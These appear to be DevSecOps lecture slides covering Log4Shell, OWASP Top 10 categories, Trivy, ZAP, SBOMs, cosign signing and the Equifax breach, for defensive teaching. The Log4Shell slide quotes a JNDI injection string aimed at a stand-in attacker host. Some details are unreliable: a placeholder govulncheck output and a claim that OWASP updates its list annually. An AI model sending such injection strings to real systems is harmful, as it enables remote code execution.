- ποΈ December 9, 2021 β a researcher posts a proof-of-concept exploit for Log4j 2 (CVE-2021-44228) on Twitter
- πͺ² The bug: a single line like
${jndi:ldap://attacker.com/x}in any logged string triggered remote-code execution - π Hundreds of millions of Java apps were vulnerable β including Minecraft chat, iCloud, AWS services, every other enterprise Java stack
- π οΈ Companies that had SBOMs and SCA in CI knew their exposure within hours. Everyone else spent the week grep-ing
- π Lesson: Security isn't a phase at the end. It must be in your pipeline, in your image, in your dependency tree β visible by default
π€ Think: When Log4Shell drops next year β and it will, in some other library β would you know within an hour which of your services are exposed?
| # | π Outcome |
|---|---|
| 1 | β Explain "shift-left security" β and what's left of it for ops |
| 2 | β Distinguish SAST, DAST, SCA, IAST |
| 3 | β Cite the OWASP Top 10 (2021/2024) by category |
| 4 | β Run Trivy against the QuickNotes image and read its output |
| 5 | β Run OWASP ZAP as a DAST against the running QuickNotes API |
| 6 | β Generate an SBOM and use it to answer "am I affected by CVE-X?" |
graph LR
A["π‘οΈ Shift Left"] --> B["π OWASP Top 10"]
B --> C["π§ͺ SAST / DAST / SCA"]
C --> D["π¦ SBOM"]
D --> E["π§° Trivy + ZAP"]
E --> F["π‘οΈ Pipeline Gates"]
F --> G["π₯ Real Incidents"]
- π Slides 1-5 β Why DevSecOps; the OWASP categories
- π Slides 6-10 β Tooling: SAST, DAST, SCA, SBOM
- π Slides 11-14 β Pipeline gates; signing; secret scanning
- π Slides 15-18 β Real incidents, lab, takeaways
- ποΈ 2009-2014 β DevOps establishes "shift left" for QA and ops
- π‘οΈ 2014 β Shannon Lietz at Intuit coins "DevSecOps" β security as code, in the pipeline
- π 2017 β OWASP publishes the modern Application Security Verification Standard (ASVS)
- π¦ 2018 β Aqua Security open-sources Trivy β the easy-to-use image scanner that wins adoption
- π 2021 β Log4Shell. SBOMs go from niche to mandatory (US Executive Order 14028)
- π¦ 2024 β every modern CI pipeline assumes SAST + SCA + DAST as default gates
π¬ "DevSecOps is the integration of security at every step of development β not a separate review at the end." β Shannon Lietz
| # | Category | Means |
|---|---|---|
| A01 | Broken Access Control | User accesses resources they shouldn't |
| A02 | Cryptographic Failures | Weak crypto, leaked secrets, MD5/SHA1 |
| A03 | Injection (SQLi, command injection, XSS-ish) | Untrusted data executed |
| A04 | Insecure Design | The architecture itself is unsafe |
| A05 | Security Misconfiguration | Default passwords, S3 public, debug=on |
| A06 | Vulnerable & Outdated Components | Log4Shell-class |
| A07 | Identification & Authentication Failures | Weak auth, JWT misuse |
| A08 | Software & Data Integrity Failures | Untrusted updates (tj-actions!) |
| A09 | Security Logging & Monitoring Failures | You didn't see the attack |
| A10 | Server-Side Request Forgery (SSRF) | App fetches attacker-controlled URLs |
- π Annually-updated by OWASP; the 2024 list refines A04 + A09 but keeps the same 10 categories
- π§ͺ Lab 9's ZAP scan exercises A01-A03 + A05 against QuickNotes
| Tool class | What it analyzes | When in pipeline | Tools |
|---|---|---|---|
| SAST (Static App Sec Testing) | Source code | On every PR | Semgrep, CodeQL, Snyk Code |
| DAST (Dynamic) | Running application | After deploy to staging | OWASP ZAP, Burp Suite |
| SCA (Software Composition) | Dependency tree (libs, CVEs, licenses) | On every PR | Trivy, Snyk, Dependabot, govulncheck |
| IAST (Interactive) | Instrumented runtime | In integration tests | Contrast, Seeker |
| Secret scanning | Git diff for keys/passwords | On every PR / push | gitleaks, trufflehog, GitHub Secret Scanning |
| Container scan | Image layers for CVEs + misconfig | After build | Trivy, Grype, Snyk |
| IaC scan | Terraform / K8s / Dockerfile config | On every PR | tfsec, checkov, Trivy config |
- π― Layered defense: no single tool catches everything. Combine 2-3, accept some overlap
# scan an OCI image for CVEs + misconfig + secrets
$ trivy image quicknotes:v0.1.0
# scan a filesystem (your repo, your Dockerfile, .env files)
$ trivy fs --severity HIGH,CRITICAL .
# scan IaC (Dockerfile, K8s manifests, Terraform)
$ trivy config .
# produce an SBOM in CycloneDX format
$ trivy sbom -o sbom.cdx.json image quicknotes:v0.1.0| Trivy detects | How |
|---|---|
| OS package CVEs | Cross-references Alpine/Ubuntu vulnerability DBs |
| Language deps (Go, npm, Python, Java, β¦) | Reads lockfiles + module metadata |
| Misconfig | Dockerfile lint, K8s sec-baseline, Terraform |
| Secrets | Regex + entropy on text files |
| Licenses | Compliance checks for OSS licenses |
- π Open-source (Apache 2.0), maintained by Aqua Security
- β‘ Caches vuln DB locally β 5-second rescans
graph LR
ZAP["π¦ ZAP Proxy"] -- "crawl + fuzz" --> APP["π’ QuickNotes :8080"]
APP -. "responses" .-> ZAP
ZAP --> REP["π HTML / JSON report"]
- π€ ZAP (Zed Attack Proxy, OWASP project) is the go-to free DAST tool
- π·οΈ Two modes:
- Spider + Passive Scan β fast, won't break the app
- Active Scan β sends real payloads, can break things; ONLY against test envs
- π In Lab 9, you'll run a baseline scan against QuickNotes and triage the warnings (most are about missing security headers β real findings)
docker run --rm -t \
-v "$PWD:/zap/wrk:rw" \
--network host \
ghcr.io/zaproxy/zaproxy:stable \
zap-baseline.py -t http://localhost:8080 -r baseline.htmlπ‘ SBOM: a machine-readable list of every component (and version) inside your software. Two formats dominate: SPDX (Linux Foundation) and CycloneDX (OWASP)
# generate from a container image
$ trivy sbom -o quicknotes.cdx.json --format cyclonedx image quicknotes:v0.1.0
# or with Anchore Syft
$ syft quicknotes:v0.1.0 -o cyclonedx-json > quicknotes.cdx.json- πΊπΈ US Executive Order 14028 (May 2021) requires federal software vendors to produce SBOMs
- π‘οΈ When a new CVE drops, an SBOM answers "am I affected?" in seconds:
$ grype sbom:quicknotes.cdx.json- π― Generate an SBOM for every release artifact β store next to the image, sign both
# sign with a keyless OIDC identity (no key files to lose)
$ cosign sign --yes ghcr.io/inno-devops-labs/quicknotes:v0.1.0
# verify on the deployer side
$ cosign verify \
--certificate-identity-regexp '^https://github.com/inno-devops-labs/.+$' \
--certificate-oidc-issuer https://token.actions.githubusercontent.com \
ghcr.io/inno-devops-labs/quicknotes:v0.1.0- πͺͺ Sigstore / cosign (CNCF, GA 2022) makes signing as easy as
git push - π Uses the public Rekor transparency log β every signature is publicly auditable
- π Lab 9 Bonus task can wire cosign into your Lab 3 CI pipeline
| Tool | Block PR if⦠| Warn only if⦠|
|---|---|---|
| SCA (Trivy) | New CRITICAL CVE | new HIGH (review) |
| SAST | New finding marked "critical" | informational |
| Secret scanning | Any match (always block; rotate the secret) | n/a |
| DAST (ZAP) | New HIGH issue from baseline scan | medium / low |
| License check | GPL in a proprietary product | LGPL (depends) |
- π« Don't block on the first finding β most existing repos start with hundreds. Baseline first, then gate on new
- πͺ Mark accepted findings with
.trivyignore, suppression annotations, etc. β and document why in the same PR
π‘ The discipline is documenting why you accepted a finding β so future-you (or auditors) can re-evaluate
For Go specifically, govulncheck is better than generic SCA because it analyzes call graphs:
$ go install golang.org/x/vuln/cmd/govulncheck@latest
$ cd app/
$ govulncheck ./...
Vulnerability #1: GO-2024-3105
Sometimes Foo() in net/http misuses Bar
Module: net/http
Found in: stdlib
Fixed in: go1.24.5
Example traces found:
main.go:42 β http.Serve β ...
# Trivy would flag the module; govulncheck confirms YOUR code actually calls the vulnerable function- π― Reachability: Trivy says "you import a vulnerable module"; govulncheck says "your code path actually reaches the bug"
- π Reachability cuts the noise floor β you fix what actually matters
# scan git history for secrets
$ gitleaks detect --no-banner --redact
$ trufflehog git file:///path/to/repo- π€ GitHub does secret scanning by default on public repos (every push checked against ~200 provider patterns)
- π¨ When a token leaks, GitHub also notifies the issuing provider (AWS, Stripe, Slack, β¦) β they may auto-revoke it
- π Rotate first, clean history second β Lecture 2 already covered this story
| π₯ Antipattern | β Better |
|---|---|
| Run scans only "before release" | On every PR + every push |
| Block PRs on every finding from day 1 | Baseline existing findings; gate on new ones |
| Run as root inside containers | USER nonroot + drop caps (Lecture 6) |
Pin to :latest |
Pin to digest; refresh on schedule |
| Email PDF reports to "security@" | Findings as PR comments, dashboards in Grafana |
| Use a public test DB with real PII | Synthetic data only; redact at the source |
| Trust a tag pin "forever" | Re-scan + re-pin on schedule (Dependabot/Renovate) |
- ποΈ March 2017 β Apache Struts releases a patch for CVE-2017-5638 (remote code execution)
- πͺͺ Equifax has Struts in a customer-facing portal. Their patch process: a manual checklist run by a single person
- π₯ The person responsible for that asset is on leave. The patch isn't applied
- π΅οΈ May 13, 2017 β attackers exploit it. Stay inside for 76 days
- πͺ¦ September 2017 β Equifax discloses: ~147 million people's data exfiltrated
- π΅ $1.4 billion in costs and settlements
- π Lessons: SCA in CI would have flagged it. Mandatory patch SLAs would have caught it. Monitoring egress would have detected the exfiltration. Three different DevSecOps layers, all absent
- π Task 1 (6 pts): Run Trivy against the QuickNotes image β produce SBOM, list HIGH+CRITICAL CVEs, document remediation or acceptance with reasoning
- π¦ Task 2 (4 pts): Run
zap-baseline.pyagainst QuickNotes; triage every finding (most will be missing security headers); fix at least one with code change - π Bonus (2 pts): Add
govulncheckto your Lab 3 CI pipeline; demonstrate that it catches a deliberately-introduced vulnerable dep - π Deliverable:
submissions/lab9.mdβ scan output snippets, SBOM diff, written triage decisions
- π‘οΈ Security is a pipeline gate, not a phase β every PR runs SAST + SCA; every deploy runs DAST
- π§ͺ Four scan types: SAST (code), DAST (running app), SCA (deps), Secret (text) β combine for layered defense
- π¦ SBOM = your inventory β without it, you can't answer "am I affected?"
- βοΈ Sign your images with Cosign + OIDC β kill the "is this artifact tampered with?" question
- π― Block on new findings, baseline the rest β perfection from day 1 stops merges
- πΉ Reachability matters β govulncheck-class tools cut noise vs generic SCA
- π Next lecture: Cloud Computing β ship QuickNotes to a real cloud
- π§ͺ Lab 9: Trivy on the image, ZAP against the running app, Bonus: govulncheck in CI
- π Read this week:
- π The DevSecOps Manifesto β Shannon Lietz et al. (devsecops.org)
- π OWASP Top 10 β 2021 (and 2024 refresh)
- π Sigstore / Cosign docs
- π Equifax 2017 breach β US GAO report
- π Log4Shell timeline (Sonatype)
- π οΈ Tools this week: Trivy 0.59.x, OWASP ZAP 2.16.x, Syft 1.x, govulncheck
graph LR
P["π Week 8<br/>SRE & Monitoring"] --> Y["π You Are Here<br/>DevSecOps"]
Y --> N["βοΈ Week 10<br/>Cloud Computing"]
N --> M["π Bonus<br/>Nix / WASM"]
π― Remember: Every working DevSecOps program starts with "we already had the data". The discipline isn't writing new code β it's piping the scan output somewhere a human will see it, and acting on what's there.